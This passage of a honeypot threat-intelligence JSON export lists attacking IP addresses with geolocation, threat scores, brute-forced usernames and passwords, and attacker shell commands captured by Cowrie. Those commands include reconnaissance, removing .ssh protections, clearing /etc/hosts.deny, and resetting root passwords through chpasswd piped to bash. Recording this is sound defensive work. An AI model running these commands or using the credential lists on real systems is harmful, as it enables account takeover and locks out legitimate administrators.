      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:33:45.845000+00:00",
        "last_seen_30d": "2026-03-03T09:53:20.452000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 830,
        "Suricata": 359
      }
    },
    "99.92.204.98": {
      "attack_count": 578,
      "first_seen": "2026-03-04T21:21:04.488Z",
      "last_seen": "2026-03-23T00:05:53.299Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "antoine",
        "atlas",
        "ninja",
        "abdul",
        "admin",
        "alice",
        "apps",
        "arun",
        "awsuser",
        "bin",
        "bot",
        "bwadmin",
        "deepak",
        "denis",
        "dummy",
        "elizabeth",
        "ems",
        "erp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "12345678",
        "123",
        "1234",
        "12345ssdlh",
        "123QWEqwe@",
        "1q2w3e4r5T",
        "3edc@WSX",
        "@1qaz2wsx",
        "Aa-123456",
        "Admin@1234",
        "Atlas123",
        "Awsuser123",
        "Bingo@1993",
        "Bot123!",
        "Deepak"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Atlas123\\nvpU2kExD3kcg\\nvpU2kExD3kcg\\n\"|passwd",
        "echo \"antoine123!\\n9HAnEhi5QAYk\\n9HAnEhi5QAYk\\n\"|passwd",
        "echo \"ninja\\n8gyFXJ4Qzeke\\n8gyFXJ4Qzeke\\n\"|passwd",
        "echo \"root:FVUmV9dKACdx\"|chpasswd|bash",
        "echo \"root:sw2ZPqiMnWVT\"|chpasswd|bash",
        "echo -e \"Atlas123\\nvpU2kExD3kcg\\nvpU2kExD3kcg\"|passwd|bash",
        "echo -e \"antoine123!\\n9HAnEhi5QAYk\\n9HAnEhi5QAYk\"|passwd|bash",
        "echo -e \"ninja\\n8gyFXJ4Qzeke\\n8gyFXJ4Qzeke\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 710,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T21:21:04.488000+00:00",
        "last_seen_30d": "2026-03-23T00:07:01.095000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 578,
        "Suricata": 132
      }
    },
    "197.5.145.8": {
      "attack_count": 571,
      "first_seen": "2026-03-02T11:22:49.497Z",
      "last_seen": "2026-03-16T15:31:54.918Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "erwin",
        "exx",
        "hong",
        "asterix",
        "celery",
        "certftp",
        "ctf",
        "dev1",
        "elemental",
        "ftptest",
        "guillaume",
        "king",
        "test01",
        "test101",
        "ubuntu22",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123QWEasd",
        "369369",
        "@qwer2024",
        "@qwer2025",
        "Ab123456789",
        "Abcd1234!",
        "Beijing123",
        "Celery123!",
        "Dev1123!",
        "Dh123456",
        "Exx123!",
        "Guillaume123!",
        "King123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\n4ihnG1wtIxHo\\n4ihnG1wtIxHo\\n\"|passwd",
        "echo \"Exx123!\\n6rvr7jRopQGD\\n6rvr7jRopQGD\\n\"|passwd",
        "echo \"password\\nq3eldEyMhV2U\\nq3eldEyMhV2U\\n\"|passwd",
        "echo \"root:FmSEV6OMD2Qt\"|chpasswd|bash",
        "echo \"root:gpZIm8ws6Wf1\"|chpasswd|bash",
        "echo \"root:xKfnDFxKLHf9\"|chpasswd|bash",
        "echo -e \"12345678\\n4ihnG1wtIxHo\\n4ihnG1wtIxHo\"|passwd|bash",
        "echo -e \"Exx123!\\n6rvr7jRopQGD\\n6rvr7jRopQGD\"|passwd|bash",
        "echo -e \"password\\nq3eldEyMhV2U\\nq3eldEyMhV2U\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 671,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:22:49.497000+00:00",
        "last_seen_30d": "2026-03-16T15:33:00.142000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 571,
        "Suricata": 100
      }
    },
    "194.107.115.199": {
      "attack_count": 543,
      "first_seen": "2026-03-09T16:00:17.139Z",
      "last_seen": "2026-03-29T11:02:37.201Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "inversiones",
        "nexus",
        "team1",
        "abdullah",
        "andrei",
        "auser",
        "bench",
        "common",
        "customer",
        "devman",
        "django",
        "eadmin",
        "evil",
        "family",
        "laurent",
        "runner",
        "stan",
        "student10"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345",
        "!qa@ws#ed",
        "123456",
        "12345asd",
        "1qaz!@#",
        "5211314.",
        "Common123",
        "Password@1",
        "Pwd@CentOS",
        "Qazwsx123456789",
        "Root12345@",
        "Team1123",
        "abcd123456!",
        "abdullah",
        "admin",
        "auser@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Team1123\\nFuo9v3CJVysF\\nFuo9v3CJVysF\\n\"|passwd",
        "echo \"admin\\njGSGbSTFkyXS\\njGSGbSTFkyXS\\n\"|passwd",
        "echo \"inversionespass\\nAzWucoGfkVMb\\nAzWucoGfkVMb\\n\"|passwd",
        "echo \"root:LS1Eb8M7YVYX\"|chpasswd|bash",
        "echo \"root:a95Nx1IVhLp6\"|chpasswd|bash",
        "echo -e \"Team1123\\nFuo9v3CJVysF\\nFuo9v3CJVysF\"|passwd|bash",
        "echo -e \"admin\\njGSGbSTFkyXS\\njGSGbSTFkyXS\"|passwd|bash",
        "echo -e \"inversionespass\\nAzWucoGfkVMb\\nAzWucoGfkVMb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 197984,
      "as_org": "State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 662,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:00:17.139000+00:00",
        "last_seen_30d": "2026-03-29T11:03:39.594000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 543,
        "Suricata": 119
      }
    },
    "116.99.168.123": {
      "attack_count": 542,
      "first_seen": "2026-03-24T22:32:44.521Z",
      "last_seen": "2026-03-24T23:08:02.600Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user",
        "ace",
        "cisco",
        "support",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "carol",
        "cf1c22",
        "config",
        "db2inst2",
        "developer",
        "ftp"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "abc123",
        "ace",
        "admin123",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "123456",
        "12345678",
        "123456789",
        "321start",
        "72ca06",
        "@",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 779,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:32:44.521000+00:00",
        "last_seen_30d": "2026-03-24T23:09:08.140000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 542,
        "Suricata": 237
      }
    },
    "211.254.212.59": {
      "attack_count": 511,
      "first_seen": "2026-03-02T16:50:22.533Z",
      "last_seen": "2026-03-15T04:38:07.162Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "francisco",
        "gitlabuser",
        "peer",
        "hr",
        "jitendra",
        "lan",
        "mm",
        "solr",
        "vintagestory"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Aa147258.",
        "As1234567",
        "Jitendra123",
        "Lan123!",
        "Lh123456@",
        "Mm123",
        "Pa$$w0rd@2024",
        "Peer123",
        "Sz123456",
        "admin2024",
        "ethan",
        "hr@123",
        "password",
        "qwer1234.",
        "qwerty12345",
        "solr123",
        "vintagestory123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\ndktEKPmLtDKv\\ndktEKPmLtDKv\\n\"|passwd",
        "echo \"Peer123\\nWb3ym1HyuyvM\\nWb3ym1HyuyvM\\n\"|passwd",
        "echo \"password\\nCnFKoqorbxC0\\nCnFKoqorbxC0\\n\"|passwd",
        "echo \"root:0HuR3yWhoMMh\"|chpasswd|bash",
        "echo \"root:8YtBmbFyzpZX\"|chpasswd|bash",
        "echo \"root:rQm0T0ruHAYK\"|chpasswd|bash",
        "echo -e \"1234\\ndktEKPmLtDKv\\ndktEKPmLtDKv\"|passwd|bash",
        "echo -e \"Peer123\\nWb3ym1HyuyvM\\nWb3ym1HyuyvM\"|passwd|bash",
        "echo -e \"password\\nCnFKoqorbxC0\\nCnFKoqorbxC0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 585,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:50:22.533000+00:00",
        "last_seen_30d": "2026-03-15T04:39:16.621000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 511,
        "Suricata": 74
      }
    },
    "72.240.125.133": {
      "attack_count": 494,
      "first_seen": "2026-03-07T00:37:31.923Z",
      "last_seen": "2026-03-18T23:34:43.365Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "fangdaohong",
        "hl",
        "odoo17",
        "sdtd",
        "abhishek",
        "amp",
        "asterix",
        "ben",
        "clawd",
        "coolify",
        "crafty",
        "db2inst",
        "developer",
        "elastic",
        "iot",
        "maxim",
        "mitra",
        "monitoring"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "123456",
        "@qwer2025",
        "@qwer2026",
        "Crafty123",
        "Fangdaohong123",
        "Pm2user123",
        "Portal123",
        "Root2025!",
        "Tt123456",
        "Unity123!",
        "admin123123",
        "asterix123",
        "ben123!",
        "iot",
        "maxim123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nCgHgVxYyJLIB\\nCgHgVxYyJLIB\\n\"|passwd",
        "echo \"1234\\nNLd4z7KxHdWH\\nNLd4z7KxHdWH\\n\"|passwd",
        "echo \"Fangdaohong123\\n8IinAL2w4xnE\\n8IinAL2w4xnE\\n\"|passwd",
        "echo \"odoo17123!\\nJwkEBFpLTfps\\nJwkEBFpLTfps\\n\"|passwd",
        "echo \"root:PU9hr37zYsZN\"|chpasswd|bash",
        "echo -e \"12345678\\nCgHgVxYyJLIB\\nCgHgVxYyJLIB\"|passwd|bash",
        "echo -e \"1234\\nNLd4z7KxHdWH\\nNLd4z7KxHdWH\"|passwd|bash",
        "echo -e \"Fangdaohong123\\n8IinAL2w4xnE\\n8IinAL2w4xnE\"|passwd|bash",
        "echo -e \"odoo17123!\\nJwkEBFpLTfps\\nJwkEBFpLTfps\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Maumee",
      "asn": 13490,
      "as_org": "Buckeye Cablevision, Inc.",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:37:31.923000+00:00",
        "last_seen_30d": "2026-03-18T23:35:49.010000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 92
      }
    },
    "27.79.46.45": {
      "attack_count": 452,
      "first_seen": "2026-03-26T23:58:25.171Z",
      "last_seen": "2026-03-27T00:35:40.154Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "1234",
        "123456",
        "ace",
        "admian",
        "anton",
        "ashish",
        "auto",
        "belkinstyle",
        "btf",
        "carol",
        "config",
        "cpanel",
        "db2inst2",
        "developer",
        "dubai",
        "ftp"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "1234",
        "12345",
        "123456",
        "admin123",
        "039715582364317",
        "1",
        "111111",
        "112233",
        "123456789",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "ace",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 642,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:38:25.865000+00:00",
        "last_seen_30d": "2026-03-27T00:36:48.900000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 190
      }
    },
    "203.145.34.78": {
      "attack_count": 438,
      "first_seen": "2026-03-22T23:47:02.730Z",
      "last_seen": "2026-03-23T00:07:46.703Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ts3server",
        "vpnbot",
        "webserver",
        "alfredo",
        "deamon",
        "hsadmin",
        "macha",
        "ubuntu",
        "webapps",
        "wialon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Deamon123",
        "Webapps123",
        "Wialon123!",
        "abcd1234",
        "alfredo",
        "ts3server123!",
        "vpnbot123",
        "webserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami",
        "crontab -l",
        "ls -lh $(which ls)",
        "which ls",
        "echo \"ts3server123!\\n4AMgXLDcb2u2\\n4AMgXLDcb2u2\\n\"|passwd",
        "echo \"ts3server123!\\nT4HK8Z8QPAyg\\nT4HK8Z8QPAyg\\n\"|passwd",
        "echo \"vpnbot123\\n66t6x4em2NN9\\n66t6x4em2NN9\\n\"|passwd",
        "echo \"vpnbot123\\nCHV5wbK5XprT\\nCHV5wbK5XprT\\n\"|passwd",
        "echo \"webserver\\n1RdJxrCebMPu\\n1RdJxrCebMPu\\n\"|passwd",
        "echo -e \"ts3server123!\\n4AMgXLDcb2u2\\n4AMgXLDcb2u2\"|passwd|bash",
        "echo -e \"ts3server123!\\nT4HK8Z8QPAyg\\nT4HK8Z8QPAyg\"|passwd|bash",
        "echo -e \"vpnbot123\\n66t6x4em2NN9\\n66t6x4em2NN9\"|passwd|bash",
        "echo -e \"vpnbot123\\nCHV5wbK5XprT\\nCHV5wbK5XprT\"|passwd|bash",
        "echo -e \"webserver\\n1RdJxrCebMPu\\n1RdJxrCebMPu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 502,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T23:47:02.730000+00:00",
        "last_seen_30d": "2026-03-23T00:08:51.605000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 438,
        "Suricata": 64
      }
    },
    "170.238.160.191": {
      "attack_count": 424,
      "first_seen": "2026-03-17T12:16:33.782Z",
      "last_seen": "2026-03-31T16:27:09.233Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ai",
        "sales1",
        "aman",
        "dhkim",
        "excel",
        "md",
        "nikhil",
        "scraper",
        "vagrant",
        "vps"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "1qaz@wsx2024",
        "234wer",
        "5rdx6tfc",
        "Aa123123..",
        "April2025",
        "Excel123!",
        "Kc123456",
        "Ld123123",
        "Qq123123",
        "Roland2025",
        "Vagrant123!",
        "Y4k1nm4suk.2026",
        "ai123",
        "aman",
        "barney"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nvSQVY84SszrD\\nvSQVY84SszrD\\n\"|passwd",
        "echo \"ai123\\nOHNCC9vnktlv\\nOHNCC9vnktlv\\n\"|passwd",
        "echo \"root:53DgZWZI0t94\"|chpasswd|bash",
        "echo \"root:mMvSugxgcQiB\"|chpasswd|bash",
        "echo -e \"12345678\\nvSQVY84SszrD\\nvSQVY84SszrD\"|passwd|bash",
        "echo -e \"ai123\\nOHNCC9vnktlv\\nOHNCC9vnktlv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 266327,
      "as_org": "NCS-Fibra New Central Solutions",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T12:16:33.782000+00:00",
        "last_seen_30d": "2026-03-31T16:28:09.994000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 90
      }
    },
    "200.77.172.159": {
      "attack_count": 424,
      "first_seen": "2026-03-18T14:14:19.580Z",
      "last_seen": "2026-03-26T20:34:09.845Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alpha",
        "srvadmin",
        "efs",
        "ionadmin",
        "mcserver",
        "mobiquity",
        "redhat",
        "vncuser",
        "wilson"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "12345",
        "159159",
        "202426",
        "786786",
        "A100s200",
        "Aa123",
        "Azure12345678",
        "Bismillah@123",
        "Bus365",
        "P@55w0rd@321",
        "Redhat123",
        "User2024",
        "Web2026",
        "Wx123456",
        "dlgwbn",
        "lijing"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nyT6WT1yqBHot\\nyT6WT1yqBHot\\n\"|passwd",
